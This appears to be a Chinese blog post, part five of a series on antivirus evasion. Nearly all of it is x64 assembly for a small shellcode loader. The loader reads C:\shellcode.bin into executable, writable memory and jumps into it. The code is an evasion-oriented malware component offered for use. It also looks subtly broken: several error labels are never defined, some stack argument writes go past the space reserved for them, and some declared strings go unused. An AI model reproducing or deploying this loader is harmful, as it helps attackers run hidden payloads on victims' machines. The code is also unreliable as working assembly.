免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)

.datakernel32_name db "kernel32.dll", 0  ; kernel32.dll 的名称user32_name db "user32.dll", 0      ; user32.dll 的名称CreateFileA_name db "CreateFileA", 0  ; CreateFileA 函数名ReadFile_name db "ReadFile", 0        ; ReadFile 函数名VirtualAlloc_name db "VirtualAlloc", 0  ; VirtualAlloc 函数名CloseHandle_name db "CloseHandle", 0    ; CloseHandle 函数名LoadLibraryA_name db "LoadLibraryA", 0  ; LoadLibraryA 函数名MessageBoxA_name db "MessageBoxA", 0    ; MessageBoxA 函数名filename db "C:\shellcode.bin", 0    ; 要读取的文件名error_msg db "Error occurred", 0      ; 错误消息success_msg db "Operation successful", 0  ; 成功消息

    push rbx    push rsi    push rdi    push r12    push r13    push r14    push r15

    ; 获取 kernel32.dll 的基址    lea rcx, kernel32_name  ; 将 kernel32.dll 的名称加载到 rcx    call GetModuleHandleA   ; 调用 GetModuleHandleA 获取 kernel32.dll 的句柄    test rax, rax           ; 检查返回值是否为 0 (错误)    jz exit_program         ; 如果是 0，跳转到退出程序    mov rbx, rax            ; 保存 kernel32.dll 基址到 rbx

    ; 获取 LoadLibraryA 函数地址    mov rcx, rbx            ; kernel32.dll 的句柄    lea rdx, LoadLibraryA_name  ; LoadLibraryA 函数名    call GetProcAddress     ; 调用 GetProcAddress 获取函数地址    test rax, rax           ; 检查返回值是否为 0 (错误)    jz exit_program         ; 如果是 0，跳转到退出程序    mov r15, rax            ; 保存 LoadLibraryA 函数地址到 r15    ; 获取 CreateFileA 函数地址    mov rcx, rbx    lea rdx, CreateFileA_name    call GetProcAddress    test rax, rax    jz exit_program    mov r12, rax            ; 保存 CreateFileA 函数地址到 r12    ; 获取 ReadFile 函数地址    mov rcx, rbx    lea rdx, ReadFile_name    call GetProcAddress    test rax, rax    jz exit_program    mov r13, rax            ; 保存 ReadFile 函数地址到 r13    ; 获取 VirtualAlloc 函数地址    mov rcx, rbx    lea rdx, VirtualAlloc_name    call GetProcAddress    test rax, rax    jz exit_program    mov r14, rax            ; 保存 VirtualAlloc 函数地址到 r14    ; 获取 CloseHandle 函数地址    mov rcx, rbx    lea rdx, CloseHandle_name    call GetProcAddress    test rax, rax    jz exit_program    mov rbx, rax            ; 保存 CloseHandle 函数地址到 rbx (重用 rbx)

; 调用 CreateFileA 打开文件    sub rsp, 40             ; 分配影子空间和额外参数空间    lea rcx, filename       ; 文件名    mov rdx, 80000000h      ; GENERIC_READ    xor r8, r8              ; 不共享    xor r9, r9              ; 无安全属性    mov qword ptr [rsp + 32], 3  ; OPEN_EXISTING    mov qword ptr [rsp + 40], 80h  ; FILE_ATTRIBUTE_NORMAL    mov qword ptr [rsp + 48], 0  ; 无模板文件    call r12                ; 调用 CreateFileA    add rsp, 40             ; 恢复栈    ; 检查文件句柄    cmp rax, -1             ; 比较返回值和 INVALID_HANDLE_VALUE    je file_error           ; 如果相等，跳转到文件错误处理    mov rdi, rax            ; 保存文件句柄到 rdi

    ; 分配内存 (VirtualAlloc)    sub rsp, 32             ; 分配影子空间    xor rcx, rcx            ; lpAddress = NULL    mov rdx, 1000h          ; dwSize = 4KB (假设 shellcode 不超过 4KB)    mov r8, 1000h           ; flAllocationType = MEM_COMMIT    mov r9, 40h             ; flProtect = PAGE_EXECUTE_READWRITE    call r14                ; 调用 VirtualAlloc    add rsp, 32             ; 恢复栈    ; 检查分配的内存    test rax, rax           ; 检查返回值    jz memory_error         ; 如果为 0，跳转到内存错误处理    mov r15, rax            ; 保存分配的内存地址到 r15

    ; 读取文件 (ReadFile)    sub rsp, 40             ; 分配影子空间和额外参数空间    mov rcx, rdi            ; 文件句柄    mov rdx, r15            ; 缓冲区地址    mov r8, 1000h           ; 读取大小 (4KB)    lea r9, [rsp + 32]      ; 实际读取的字节数的地址    mov qword ptr [rsp + 32], 0  ; 初始化实际读取的字节数为 0    call r13                ; 调用 ReadFile    add rsp, 40             ; 恢复栈    ; 检查读取结果    test rax, rax           ; 检查返回值    jz read_error           ; 如果为 0，跳转到读取错误处理

    ; 关闭文件句柄    sub rsp, 32             ; 分配影子空间    mov rcx, rdi            ; 文件句柄    call rbx                ; 调用 CloseHandle    add rsp, 32             ; 恢复栈    ; 执行 shellcode    call r15                ; 调用加载到内存中的 shellcode

exit_program:    ; 恢复非易失性寄存器    pop r15    pop r14    pop r13    pop r12    pop rdi    pop rsi    pop rbx    ; 退出程序    xor rcx, rcx            ; exit code = 0    call ExitProcess        ; 调用 ExitProcess 退出程序